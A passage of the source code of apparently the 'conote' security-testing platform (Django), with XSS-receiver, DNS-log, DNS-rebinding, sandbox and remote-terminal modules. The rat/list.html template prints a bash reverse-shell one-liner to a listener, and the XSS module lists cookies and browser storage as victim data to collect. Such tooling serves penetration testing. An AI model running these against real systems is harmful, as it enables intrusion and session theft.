O_XSS_DOMAIN = 'x.' + O_SERVER_DOMAIN 30 | O_ADDITION_ZONE = f'''{O_SERVER_DOMAIN}. IN MX 5 {O_MAIN_DOMAIN}. 31 | {O_XSS_DOMAIN} 120 IN A {O_SERVER_IP} 32 | _acme-challenge.{O_SERVER_DOMAIN}. 120 IN TXT yodZC80OvmOEXqORA1K1O-FUmIC0R69mIEzKAYVJ_xI 33 | _acme-challenge.{O_SERVER_DOMAIN}. 120 IN TXT LhUaoD1rbebH6T2O8UZ7EiWntcwtB4sfs5LOEtF4K20''' 34 | O_REBIND_DOMAIN = 's.{}'.format(O_SERVER_DOMAIN) 35 | O_SHORT_DOMAIN = 'mhz.pw' 36 | O_MAIL_DOMAIN = O_SERVER_DOMAIN 37 | O_RESERVE_DOMAINS = (O_SERVER_DOMAIN, O_SHORT_DOMAIN, O_REBIND_DOMAIN, O_XSS_DOMAIN, O_MAIL_DOMAIN) 38 | 39 | STATIC_ROOT = os.environ.get('STATIC_ROOT') 40 | MEDIA_ROOT = os.environ.get('MEDIA_ROOT') 41 | 42 | REST_FRAMEWORK = { 43 | 'DEFAULT_PERMISSION_CLASSES': ( 44 | 'rest_framework.permissions.IsAuthenticated', 45 | ), 46 | 'DEFAULT_AUTHENTICATION_CLASSES': ( 47 | 'app.api.authentication.TokenAuthentication', 48 | ), 49 | 'DEFAULT_RENDERER_CLASSES': ( 50 | 'app.api.renderers.JSONRenderer', 51 | ), 52 | 'DEFAULT_PARSER_CLASSES': ( 53 | 'rest_framework.parsers.FormParser', 54 | 'rest_framework.parsers.MultiPartParser', 55 | 'rest_framework.parsers.JSONParser', 56 | ), 57 | 'DEFAULT_PAGINATION_CLASS': 'rest_framework.pagination.LimitOffsetPagination', 58 | 'PAGE_SIZE': 100, 59 | } 60 | 61 | HUEY['connection']['url'] = os.environ.get('REDIS_URL') 62 | HUEY['always_eager'] = DEBUG 63 | 64 | SANDBOX_ROOT = os.environ.get('SANDBOX_ROOT') 65 | -------------------------------------------------------------------------------- /conote.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | chown www-data:www-data -R . 4 | chown www-data:www-data -R /data/conote/media 5 | chown www-data:www-data -R /data/conote/static 6 | chown www-data:www-data -R /data/conote/sandbox 7 | 8 | source env/bin/activate 9 | 10 | ./manage.py migrate --no-input && ./manage.py collectstatic --no-input 11 | 12 | exec /home/conote/env/bin/gunicorn -w 2 -k gevent -b 127.0.0.1:8076 -u www-data -g www-data "$@" conote.wsgi:application -------------------------------------------------------------------------------- /conote/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/conote/__init__.py -------------------------------------------------------------------------------- /conote/asgi.py: -------------------------------------------------------------------------------- 1 | """ 2 | ASGI entrypoint. Configures Django and then runs the application 3 | defined in the ASGI_APPLICATION setting. 4 | """ 5 | 6 | import os 7 | import django 8 | from channels.routing import get_default_application 9 | from dotenv import load_dotenv, find_dotenv 10 | 11 | load_dotenv(find_dotenv()) 12 | os.environ.setdefault("DJANGO_SETTINGS_MODULE", "conf.settings") 13 | django.setup() 14 | application = get_default_application() 15 | -------------------------------------------------------------------------------- /conote/const.py: -------------------------------------------------------------------------------- 1 | CODE_LANGUAGE = ( 2 | ('clike', 'C/C++/C#'), 3 | ('go', 'GO'), 4 | ('htmlembedded', 'HTML'), 5 | ('http', 'HTTP'), 6 | ('java', 'Java'), 7 | ('javascript', 'Javascript'), 8 | ('lua', 'Lua'), 9 | ('nginx', 'Nginx'), 10 | ('perl', 'Perl'), 11 | ('php', 'PHP'), 12 | ('powershell', 'PowerShell'), 13 | ('python', 'Python'), 14 | ('ruby', 'Ruby'), 15 | ('rust', 'Rust'), 16 | ('shell', 'shell'), 17 | ('sql', 'SQL'), 18 | ('swift', 'Swift'), 19 | ('vbscript', 'VBScript'), 20 | ('vue', 'Vue'), 21 | ('xml', 'XML'), 22 | ('yaml', 'YAML'), 23 | ('css', 'CSS') 24 | ) 25 | 26 | VICTIM_SORT = ( 27 | ('ua', 'User Agent'), 28 | ('cookie', 'Cookie'), 29 | ('ss', 'Session Storage'), 30 | ('ls', 'Local Storage'), 31 | ('wl', 'window.location'), 32 | ('wtl', 'window.top.location'), 33 | ('opener', 'window.opener'), 34 | ('referer', 'Referer') 35 | ) 36 | 37 | SANDBIX_CHOICE = ( 38 | ('php-5.6', 'PHP 5.6'), 39 | ('php-7.2', 'PHP 7.2') 40 | ) 41 | 42 | DNS_SERVER = ('8.8.8.8', 53) 43 | 44 | NOTE_CATEGORY = ( 45 | ('text', '纯文本'), 46 | ('file', '文件'), 47 | ('article', '文章'), 48 | ('code', '代码') 49 | ) 50 | -------------------------------------------------------------------------------- /conote/emailparser/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/conote/emailparser/__init__.py -------------------------------------------------------------------------------- /conote/field.py: -------------------------------------------------------------------------------- 1 | import json 2 | 3 | from django import forms 4 | from django.forms.widgets import CheckboxInput, ClearableFileInput, Textarea 5 | from django.core.exceptions import ValidationError 6 | 7 | HEADERS_BLACKLIST = ('set-cookie', 'content-length', ) 8 | 9 | 10 | class MyCheckboxInput(CheckboxInput): 11 | template_name = 'widgets/checkbox.html' 12 | 13 | 14 | class MyClearableFileInput(ClearableFileInput): 15 | template_name = 'widgets/clearable_file_input.html' 16 | 17 | 18 | class HeadersField(forms.JSONField): 19 | def __init__(self, max_line=50, empty_value=None, blacklist=HEADERS_BLACKLIST, whitelist=None, *args, **kwargs): 20 | self.max_line = max_line 21 | self.empty_value = empty_value or [] 22 | self.blacklist = blacklist 23 | self.whitelist = whitelist 24 | super().__init__(*args, **kwargs) 25 | 26 | def text_to_headers(self, text): 27 | headers = [] 28 | try: 29 | i = 0 30 | for line in text.strip().split('\n'): 31 | i += 1 32 | if i > self.max_line: 33 | raise ValidationError('HTTP头过多') 34 | 35 | key, val = line.split(':', maxsplit=1) 36 | key = key.strip() 37 | val = val.strip() 38 | 39 | if self.whitelist and key.lower() not in map(str.lower, self.whitelist): 40 | raise ValidationError('不允许使用{}头'.format(key)) 41 | 42 | if key.lower() in map(str.lower, self.blacklist): 43 | raise ValidationError('不允许使用{}头'.format(key)) 44 | 45 | headers.append((key, val)) 46 | except ValidationError as e: 47 | raise e 48 | except: 49 | raise ValidationError('HTTP头解析错误,格式是每行一个“Key: Value”') 50 | else: 51 | return headers 52 | 53 | def headers_to_text(self, headers): 54 | text = [] 55 | for key, val in headers: 56 | text.append('{}: {}'.format(key, val)) 57 | 58 | return '\n'.join(text) 59 | 60 | def to_python(self, value: str): 61 | if value and isinstance(value, str): 62 | return self.text_to_headers(value) 63 | else: 64 | return self.empty_value 65 | 66 | def prepare_value(self, value): 67 | if isinstance(value, str) and value: 68 | try: 69 | value = json.loads(value) 70 | except: 71 | return value 72 | else: 73 | return self.headers_to_text(value) 74 | elif value and (isinstance(value, list) or isinstance(value, set)): 75 | return self.headers_to_text(value) 76 | else: 77 | return '' 78 | 79 | 80 | class AceEditorTextarea(Textarea): 81 | template_name = 'widgets/ace_editor_textarea.html' 82 | -------------------------------------------------------------------------------- /conote/ipdata/17monipdb.datx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/conote/ipdata/17monipdb.datx -------------------------------------------------------------------------------- /conote/ipdata/parser.py: -------------------------------------------------------------------------------- 1 | import struct 2 | from os.path import join, dirname, realpath 3 | from socket import inet_aton 4 | 5 | 6 | _unpack_V = lambda b: struct.unpack("L", b)[0] 8 | _unpack_C = lambda b: struct.unpack("B", b)[0] 9 | 10 | with open(join(realpath(dirname(__file__)), '17monipdb.datx'), 'rb') as f: 11 | _db_binary = f.read() 12 | 13 | 14 | class IPData(object): 15 | def __init__(self): 16 | self.binary = _db_binary 17 | self.offset = _unpack_N(self.binary[:4]) 18 | self.index = self.binary[4:self.offset] 19 | 20 | def find(self, ip): 21 | index = self.index 22 | offset = self.offset 23 | binary = self.binary 24 | nip = inet_aton(ip) 25 | ipdot = ip.split('.') 26 | 27 | tmp_offset = (int(ipdot[0]) * 256 + int(ipdot[1])) * 4 28 | start = _unpack_V(index[tmp_offset:tmp_offset + 4]) 29 | 30 | index_offset = index_length = -1 31 | max_comp_len = offset - 262144 - 4 32 | start = start * 9 + 262144 33 | 34 | while start < max_comp_len: 35 | if index[start:start + 4] >= nip: 36 | index_offset = _unpack_V(index[start + 4:start + 7] + chr(0).encode()) 37 | index_length = _unpack_C(index[start + 8:start + 9]) 38 | break 39 | start += 9 40 | 41 | if index_offset == 0: 42 | return None 43 | 44 | res_offset = offset + index_offset - 262144 45 | return binary[res_offset:res_offset + index_length].decode() 46 | 47 | 48 | if __name__ == '__main__': 49 | print(IPData().find('112.192.238.247')) 50 | -------------------------------------------------------------------------------- /conote/mixin.py: -------------------------------------------------------------------------------- 1 | from django.shortcuts import render 2 | from django.contrib.auth.mixins import AccessMixin 3 | 4 | 5 | class LogUrlMixin(object): 6 | def get(self, request, *args, **kwargs): 7 | request.session['back_url'] = request.build_absolute_uri() 8 | return super().get(request, *args, **kwargs) 9 | 10 | 11 | class ReturnBackMixin(object): 12 | def get_success_url(self): 13 | if hasattr(self, 'success_url') and self.success_url: 14 | url = self.success_url 15 | elif 'back_url' in self.request.session: 16 | url = self.request.session['back_url'] 17 | else: 18 | try: 19 | url = self.object.get_absolute_url() 20 | except AttributeError: 21 | url = '/' 22 | 23 | return url 24 | 25 | 26 | class VipRequiredMixin(AccessMixin): 27 | def dispatch(self, request, *args, **kwargs): 28 | if not request.user.is_authenticated: 29 | return self.handle_no_permission() 30 | 31 | if not request.user.is_superuser and not request.user.is_vip: 32 | return render(request, '500.html', context=dict(errors='你不是内测用户,暂不能访问该模块!')) 33 | return super().dispatch(request, *args, **kwargs) 34 | -------------------------------------------------------------------------------- /conote/routing.py: -------------------------------------------------------------------------------- 1 | from channels.auth import AuthMiddlewareStack 2 | from channels.routing import ProtocolTypeRouter, URLRouter 3 | from channels.security.websocket import OriginValidator 4 | from django.core.asgi import get_asgi_application 5 | 6 | from .urls import websocket_urlpatterns 7 | from django.conf import settings 8 | 9 | 10 | trust_origin = f'{settings.O_SERVER_SCHEME}://{settings.O_MAIN_DOMAIN}' 11 | 12 | application = ProtocolTypeRouter({ 13 | 'http': get_asgi_application(), 14 | 'websocket': OriginValidator( 15 | AuthMiddlewareStack( 16 | URLRouter(websocket_urlpatterns) 17 | ), 18 | [trust_origin] 19 | ), 20 | }) 21 | -------------------------------------------------------------------------------- /conote/tasks.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import logging 3 | from huey.contrib.djhuey import task 4 | from app.disposable_email import models as email_models 5 | 6 | 7 | logger = logging.getLogger('conote') 8 | 9 | 10 | @task() 11 | def send_notification(token, title, message): 12 | target = "https://sc.ftqq.com/{}.send".format(token) 13 | response = requests.post(target, data=dict( 14 | text=title, 15 | desp=message 16 | )) 17 | response.encoding = 'utf-8' 18 | return response.text 19 | -------------------------------------------------------------------------------- /conote/urls.py: -------------------------------------------------------------------------------- 1 | """conote URL Configuration 2 | 3 | The `urlpatterns` list routes URLs to views. For more information please see: 4 | https://docs.djangoproject.com/en/1.11/topics/http/urls/ 5 | Examples: 6 | Function views 7 | 1. Add an import: from my_app import views 8 | 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home') 9 | Class-based views 10 | 1. Add an import: from other_app.views import Home 11 | 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home') 12 | Including another URLconf 13 | 1. Import the include() function: from django.conf.urls import url, include 14 | 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls')) 15 | """ 16 | from django.urls import path, include 17 | from django.contrib import admin 18 | 19 | from app.rat import consumers 20 | 21 | urlpatterns = [ 22 | path('admin/', admin.site.urls), 23 | path('', include('app.log.urls', namespace='log')), 24 | 25 | path('auth/', include('app.ucenter.urls', namespace='auth')), 26 | path('xss/', include('app.xss.urls', namespace='xss')), 27 | path('sandbox/', include('app.sandbox.urls', namespace='sandbox')), 28 | path('api/', include('app.api.urls', namespace='api')), 29 | path('disposable_email/', include('app.disposable_email.urls', namespace='email')), 30 | path('rat/', include('app.rat.urls', namespace='rat')) 31 | ] 32 | 33 | websocket_urlpatterns = [ 34 | path('ws/rat//', consumers.RatConsumer.as_asgi()), 35 | ] 36 | -------------------------------------------------------------------------------- /conote/utils.py: -------------------------------------------------------------------------------- 1 | import time 2 | import functools 3 | 4 | from django.conf import settings 5 | from urllib.parse import urlparse, parse_qsl, urlunparse, urlencode, urljoin 6 | from dnslib.dns import DNSRecord, DNSHeader, DNSQuestion, QTYPE 7 | from .const import DNS_SERVER 8 | 9 | 10 | def get_remote_addr(request): 11 | if settings.IP_HEADER: 12 | return request.META[settings.IP_HEADER] 13 | else: 14 | return request.META['REMOTE_ADDR'] 15 | 16 | 17 | def get_domain_key(hostname, basedomain=settings.O_SERVER_DOMAIN): 18 | pos = hostname.find(basedomain) 19 | if pos < 0: 20 | return None 21 | 22 | domain_key = hostname[:pos - 1] 23 | return domain_key.split(".").pop() 24 | 25 | 26 | def from10_to62(number): 27 | ret = '' 28 | table = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' 29 | to = len(table) 30 | while True: 31 | ret = table[number % to] + ret 32 | number = number // to 33 | if number <= 0: 34 | break 35 | return ret 36 | 37 | 38 | def from62_to10(number): 39 | table = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' 40 | ret = 0 41 | if number == "": 42 | return ret 43 | 44 | for ch in number: 45 | k = table.find(ch) 46 | if k >= 0: 47 | ret = ret * 62 + k 48 | return ret 49 | 50 | 51 | def build_url(base_url, **kwargs): 52 | url_parts = list(urlparse(base_url)) 53 | query = dict(parse_qsl(url_parts[4], keep_blank_values=True)) 54 | query.update(kwargs) 55 | url_parts[4] = urlencode(query) 56 | return urlunparse(url_parts) 57 | 58 | 59 | def query_dns(domain, qtype='A'): 60 | q = DNSRecord(q=DNSQuestion(domain, getattr(QTYPE, qtype))) 61 | a_pkt = q.send(*DNS_SERVER, tcp=True, timeout=5) 62 | a = DNSRecord.parse(a_pkt) 63 | return a.short() 64 | -------------------------------------------------------------------------------- /conote/wsgi.py: -------------------------------------------------------------------------------- 1 | """ 2 | WSGI config for conote project. 3 | 4 | It exposes the WSGI callable as a module-level variable named ``application``. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/1.11/howto/deployment/wsgi/ 8 | """ 9 | 10 | import os 11 | 12 | from django.core.wsgi import get_wsgi_application 13 | from dotenv import load_dotenv, find_dotenv 14 | 15 | load_dotenv(find_dotenv()) 16 | os.environ.setdefault("DJANGO_SETTINGS_MODULE", "conf.settings") 17 | 18 | application = get_wsgi_application() 19 | -------------------------------------------------------------------------------- /img/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/img/2.png -------------------------------------------------------------------------------- /img/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/img/3.png -------------------------------------------------------------------------------- /javascript/.babelrc: -------------------------------------------------------------------------------- 1 | { 2 | "presets": ["env"] 3 | } -------------------------------------------------------------------------------- /javascript/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules/ 2 | build/ -------------------------------------------------------------------------------- /javascript/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "conote-frontend", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "app.js", 6 | "dependencies": { 7 | "ace-builds": "^1.4.1", 8 | "clipboard": "^1.7.1", 9 | "codemirror": "^5.40.2", 10 | "hypermd": "^0.3.10", 11 | "js-beautify": "^1.7.5", 12 | "js-cookie": "^2.2.0" 13 | }, 14 | "devDependencies": { 15 | "babel-cli": "^6.26.0", 16 | "babel-core": "^6.26.0", 17 | "babel-preset-env": "^1.6.1", 18 | "babelify": "^8.0.0", 19 | "browserify": "^16.1.1", 20 | "cross-env": "^5.1.4", 21 | "uglify-js": "^3.3.18", 22 | "uglifyjs-browser": "^3.0.0" 23 | }, 24 | "scripts": { 25 | "build-xss": "parcel build xss/bundle.js -d ../app/xss/static/js/xss/ -o xss/bundle.min.js --no-source-maps && babel -o ../app/xss/static/js/xss/xss.min.js xss/xss.js && uglifyjs ../app/xss/static/js/xss/xss.min.js --compress --mangle -o ../app/xss/static/js/xss/xss.min.js", 26 | "build-co": "parcel build xss/co.js -d ../templates/xss/js/ -o co.js --no-source-maps", 27 | "build-note": "parcel build note/index.js -d ../app/log/static/note/ -o note.min.js --no-source-maps", 28 | "test": "echo \"Error: no test specified\" && exit 1" 29 | }, 30 | "author": "phith0n", 31 | "license": "ISC" 32 | } 33 | -------------------------------------------------------------------------------- /javascript/xss/bundle.js: -------------------------------------------------------------------------------- 1 | import beautify from 'js-beautify' 2 | import uglify from 'uglifyjs-browser' 3 | import ClipboardJS from 'clipboard' 4 | 5 | 6 | window.uglify = uglify 7 | window.beautify = beautify 8 | window.ClipboardJS = ClipboardJS -------------------------------------------------------------------------------- /javascript/xss/xss.js: -------------------------------------------------------------------------------- 1 | require.config({ 2 | paths: { 3 | 'vs': 'https://cdn.jsdelivr.net/npm/monaco-editor@0.13.1/min/vs' 4 | } 5 | }); 6 | require(['vs/editor/editor.main'], () => { 7 | $("#btn-panel").show().insertBefore($("#editor")); 8 | const editor = monaco.editor.create(document.getElementById('editor'), { 9 | value: $("#id_payload").val(), 10 | language: 'javascript', 11 | wordWrap: 'on' 12 | }); 13 | 14 | const clipboard = new ClipboardJS('.clip-btn'); 15 | 16 | $('#minify').on('click', () => { 17 | const { code, error } = uglify.minify(editor.getValue()); 18 | editor.setValue(code) 19 | }); 20 | 21 | $('#beautify').on('click', () => { 22 | const code = beautify(editor.getValue()); 23 | editor.setValue(code) 24 | }); 25 | 26 | $('#project-submit').on('click', () => { 27 | const code = editor.getValue(); 28 | $("#id_payload").val(code); 29 | $('#project-form').submit(); 30 | }); 31 | 32 | $('#payload-template').chosen().change(() => { 33 | const { code, error } = uglify.minify($('#payload-template').val()); 34 | editor.trigger('keyboard', 'type', {text: code}); 35 | }); 36 | 37 | }) -------------------------------------------------------------------------------- /manage.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import os 3 | import sys 4 | from dotenv import load_dotenv, find_dotenv 5 | 6 | if __name__ == "__main__": 7 | load_dotenv(find_dotenv()) 8 | os.environ.setdefault("DJANGO_SETTINGS_MODULE", "conf.settings") 9 | 10 | try: 11 | from django.core.management import execute_from_command_line 12 | except ImportError: 13 | # The above import may fail for some other reason. Ensure that the 14 | # issue is really that Django is missing to avoid masking other 15 | # exceptions on Python 2. 16 | try: 17 | import django 18 | except ImportError: 19 | raise ImportError( 20 | "Couldn't import Django. Are you sure it's installed and " 21 | "available on your PYTHONPATH environment variable? Did you " 22 | "forget to activate a virtual environment?" 23 | ) 24 | raise 25 | execute_from_command_line(sys.argv) 26 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | aiosmtpd 2 | channels 3 | channels-redis 4 | chardet 5 | defusedxml 6 | dj-database-url 7 | django<4.0 8 | django-bootstrap3 9 | django-filter 10 | django-pure-pagination 11 | djangorestframework 12 | dnslib 13 | docker 14 | flanker 15 | gevent 16 | gunicorn 17 | hashids 18 | huey 19 | ipython 20 | jsonfield 21 | pipenv-to-requirements 22 | psycopg2-binary 23 | python-dotenv 24 | redis 25 | requests 26 | requests-oauthlib 27 | tenacity 28 | asgiref 29 | -------------------------------------------------------------------------------- /rsync-exclude-list.txt: -------------------------------------------------------------------------------- 1 | db.sqlite3 2 | env/ 3 | conf/settings_dev.py 4 | .idea 5 | .git 6 | __pycache__/ 7 | profile 8 | error.log 9 | media 10 | venv/ 11 | .env 12 | javascript/node_modules/ 13 | .DS_Store 14 | tests/ 15 | javascript/.cache/ -------------------------------------------------------------------------------- /templates/500.html: -------------------------------------------------------------------------------- 1 | {% extends 'framework.html' %} 2 | 3 | {% block subject %}{{ title | default:'出了一个问题!' }}{% endblock %} 4 | 5 | {% block content %} 6 |
7 |
8 |
9 |
10 | 11 |
12 |
Error
13 |

{{ errors | default:'出了一个问题!' }}

14 |
15 |
    16 |
  • 首页 17 |
  • 18 |
19 |
20 |
21 | {% endblock %} -------------------------------------------------------------------------------- /templates/base.html: -------------------------------------------------------------------------------- 1 | {% load static %} 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | {% block title %}CoNote{% endblock %} 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | {% block addstyle %}{% endblock %} 26 | 27 | 28 | 29 | {% block body %}{% endblock %} 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | {% block addscript %}{% endblock %} 46 | 47 | 48 | 49 | 50 | 51 | -------------------------------------------------------------------------------- /templates/dnslog/list.html: -------------------------------------------------------------------------------- 1 | {% extends 'framework.html' %} 2 | 3 | {% block subject %}DNS日志{% endblock %} 4 | 5 | {% block content %} 6 |
7 |
DNS日志
8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | {% for object in object_list %} 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | {% endfor %} 29 | 30 |
时间域名IP地址类型管理
{{ object.created_time | date:"Y-m-d H:i:s" }}{{ object.hostname }}{{ object.ip_addr }}{{ object.dns_type }}
31 |
32 | {% if is_paginated %} 33 |
34 |
35 | {% include 'pure_pagination/pagination-bootstrap.html' %} 36 |
37 |
38 |
39 | {% endif %} 40 |
41 | {% endblock %} -------------------------------------------------------------------------------- /templates/dnsrecord/form.html: -------------------------------------------------------------------------------- 1 | {% extends 'framework.html' %} 2 | {% load static %} 3 | 4 | {% block subject %} 5 | 自定义DNS服务器 6 | {% endblock %} 7 | 8 | {% block content %} 9 |
10 |
11 | {% csrf_token %} 12 | 13 | {% if messages %} 14 | {% for message in messages %} 15 |
16 | {{ message }} 17 |
18 | {% endfor %} 19 | {% endif %} 20 |
21 |
说明
22 |
23 |

请求如下域名,依次返回你设置的IP地址(每两个域名间请求时间不大于5秒),可用于测试DNS Rebinding漏洞。

24 |
25 |
26 | dig @8.8.8.8 {{ request.user.get_dns_record }} 27 |
28 |
29 |
    30 |
31 |
    32 |
  • 33 | 36 | 39 |
  • 40 |
41 |
42 |
43 | {% endblock %} 44 | 45 | {% block addscript %} 46 | 79 | {% endblock %} 80 | 81 | {% block addstyle %} 82 | 88 | {% endblock %} -------------------------------------------------------------------------------- /templates/email/detail.html: -------------------------------------------------------------------------------- 1 | {% extends 'framework.html' %} 2 | {% load email_helper %} 3 | {% load template_helper %} 4 | 5 | {% block subject %}{{ email.subject }}{% endblock %} 6 | 7 | {% block content %} 8 |
9 |
10 |
11 |
12 |

{{ email.subject }}

13 |
14 |

发件人:{{ email.from_name | display_email }}

15 |

收件人: 16 | {% for user in email.to_list %} 17 | {{ user | display_email }} 18 | {% endfor %} 19 |

20 | {% if email.cc_list %} 21 |

抄送: 22 | {% for user in email.cc_list %} 23 | {{ user | display_email }} 24 | {% endfor %} 25 |

26 | {% endif %} 27 | 28 |
29 | 30 | 31 |
32 |
33 | 34 |
35 |
36 |
37 |
38 |
39 |
40 | 41 | 42 | 原始邮件 43 | 44 | 49 |
50 |
51 | 返回 52 |
53 |
54 |
55 |
56 |
57 |
58 | {% endblock %} 59 | 60 | {% block addstyle %} 61 | 66 | {% endblock %} 67 | 68 | {% block addscript %} 69 | 75 | {% endblock %} 76 | -------------------------------------------------------------------------------- /templates/form.html: -------------------------------------------------------------------------------- 1 | {% extends 'framework.html' %} 2 | {% load bootstrap3 %} 3 | {% load static %} 4 | 5 | {% block subject %}{% endblock %} 6 | 7 | {% block content %} 8 |
9 |
{% block form_title %}{% endblock %}
10 |
11 |
12 | {% bootstrap_form form %} 13 | 14 | 返回 15 | 16 | 17 | {% csrf_token %} 18 |
19 | 20 |
21 |
22 | {% endblock %} -------------------------------------------------------------------------------- /templates/framework.html: -------------------------------------------------------------------------------- 1 | {% extends 'main.html' %} 2 | 3 | {% block main %} 4 |
5 |
6 | {% block subject %}Title{% endblock %} 7 |
8 | {% block content %}{% endblock %} 9 |
10 | {% endblock %} -------------------------------------------------------------------------------- /templates/markdown/article.html: -------------------------------------------------------------------------------- 1 | {% load static %} 2 | {% load i18n %} 3 | 4 | 5 | 6 | 7 | {{ object.title }} 8 | 9 | 10 | 11 | 12 | 13 |
14 |
15 |
16 |
17 |

{{ object.title }}

18 |
19 | {% language 'en' %} 20 | 21 | {{ object.created_time | date:"Y M d " }} 22 | 23 | {% endlanguage %} 24 |
25 |
26 |
27 |
28 |
29 |
30 | 31 | 32 | 33 | 44 | 45 | -------------------------------------------------------------------------------- /templates/markdown/code.html: -------------------------------------------------------------------------------- 1 | {% load static %} 2 | {% load i18n %} 3 | 4 | 5 | 6 | 7 | {{ object.title }} 8 | 9 | 10 | 11 | 17 | 18 | 19 | 20 | 21 |
22 |
23 |
24 |

{{ object.title }}

25 |
26 | 27 |
28 |
29 |
30 |
31 | 32 | 33 | 34 | {% if object.language == 'php' or object.language == 'htmlembedded' %} 35 | 36 | 37 | 38 | 39 | {% endif %} 40 | 41 | 53 | 54 | -------------------------------------------------------------------------------- /templates/note/form.html: -------------------------------------------------------------------------------- 1 | {% extends 'framework.html' %} 2 | {% load bootstrap3 %} 3 | {% load static %} 4 | 5 | {% block subject %}我的文件{% endblock %} 6 | 7 | {% block content %} 8 |
9 |
我的文件
10 |
11 |
12 | {% for field in form %} 13 | {% if field.name == 'is_markdown' %} 14 | {% bootstrap_field field field_class='checkbox c-checkbox needsclick' %} 15 | {% elif field.name == 'filename' %} 16 | {% bootstrap_field field addon_after='' addon_after_class='input-group-btn' %} 17 | {% else %} 18 | {% bootstrap_field field %} 19 | {% endif %} 20 | {% endfor %} 21 | 22 | 23 | 24 | 返回 25 | 26 | {% csrf_token %} 27 |
28 | 29 |
30 |
31 | {% endblock %} 32 | 33 | {% block addscript %} 34 | 35 | 36 | {{ js_config|json_script:"js_config" }} 37 | 38 | {% endblock %} 39 | 40 | {% block addstyle %} 41 | 42 | 53 | {% endblock %} -------------------------------------------------------------------------------- /templates/rat/detail.html: -------------------------------------------------------------------------------- 1 | {% extends 'main.html' %} 2 | {% load static %} 3 | 4 | {% block main %} 5 | 6 |
7 | 8 |
9 |
10 | {{ object.address }} # 11 | 12 |
13 |
14 |
15 |
16 | {% endblock %} 17 | 18 | {% block addstyle %} 19 | 69 | {% endblock %} 70 | 71 | {% block addscript %} 72 | 125 | {% endblock %} -------------------------------------------------------------------------------- /templates/rat/list.html: -------------------------------------------------------------------------------- 1 | {% extends 'framework.html' %} 2 | {% load rat_helper %} 3 | 4 | {% block subject %}远程终端{% endblock %} 5 | 6 | {% block content %} 7 |
8 |
9 |
10 |
操作
11 |
12 |
13 | 18 | 19 | 24 | {% csrf_token %} 25 |
26 | 27 |
28 |
29 |
30 | 31 |
32 |
33 |
34 |

Listening {{ port | default_if_none:'pending...' }}

35 |
bash -c 'sh -i >& /dev/tcp/{{ address }}/{{ port | default_if_none:'21' }} 0>&1'
36 |
37 |
38 |
39 |
40 | 41 |
42 |
我的客户端
43 |
44 |
45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | {% for object in object_list %} 57 | 58 | 59 | 60 | 61 | 62 | 66 | 67 | {% endfor %} 68 | 69 |
时间地址位置端口管理
{{ object.created_time | date:"Y-m-d H:i:s" }}{{ object.address }}{{ object.address | location }}{{ object.port }} 63 | CMD Shell 65 |
70 |
71 |
72 |
73 | {% endblock %} -------------------------------------------------------------------------------- /templates/registration/option.html: -------------------------------------------------------------------------------- 1 | {% extends 'form.html' %} 2 | 3 | {% block subject %}全局设置{% endblock %} 4 | 5 | {% block form_title %}全局设置{% endblock %} 6 | -------------------------------------------------------------------------------- /templates/registration/register.html: -------------------------------------------------------------------------------- 1 | {% extends 'base.html' %} 2 | {% load bootstrap3 %} 3 | 4 | {% block body %} 5 |
6 |
7 | 8 |
9 |
10 |

请填写表单注册用户

11 |
12 | {% bootstrap_form form field_class="text-muted" form_group_class="form-group has-feedback" show_help=False addon_after='' %} 13 | 14 | {% csrf_token %} 15 |
16 |
17 |
18 |
19 |
20 | {% endblock %} -------------------------------------------------------------------------------- /templates/sandbox/form.html: -------------------------------------------------------------------------------- 1 | {% extends 'framework.html' %} 2 | {% load bootstrap3 %} 3 | {% load static %} 4 | 5 | {% block subject %}我的沙盒{% endblock %} 6 | 7 | {% block content %} 8 |
9 |
我的沙盒
10 |
11 |
12 | {% bootstrap_form form %} 13 | 14 | 15 | 16 | 返回 17 | 18 | {% csrf_token %} 19 |
20 | 21 |
22 |
23 | {% endblock %} 24 | 25 | {% block addscript %} 26 | 27 | 28 | {% endblock %} 29 | 30 | {% block addstyle %} 31 | {% endblock %} -------------------------------------------------------------------------------- /templates/shortdomain/form.html: -------------------------------------------------------------------------------- 1 | {% extends 'form.html' %} 2 | 3 | {% block subject %}短域名{% endblock %} 4 | 5 | {% block form_title %}我的短域名{% endblock %} -------------------------------------------------------------------------------- /templates/shortdomain/list.html: -------------------------------------------------------------------------------- 1 | {% extends 'framework.html' %} 2 | 3 | {% block subject %}短域名{% endblock %} 4 | 5 | {% block content %} 6 |
7 |
操作
8 |
9 | 10 | 11 | 增加短域名 12 |
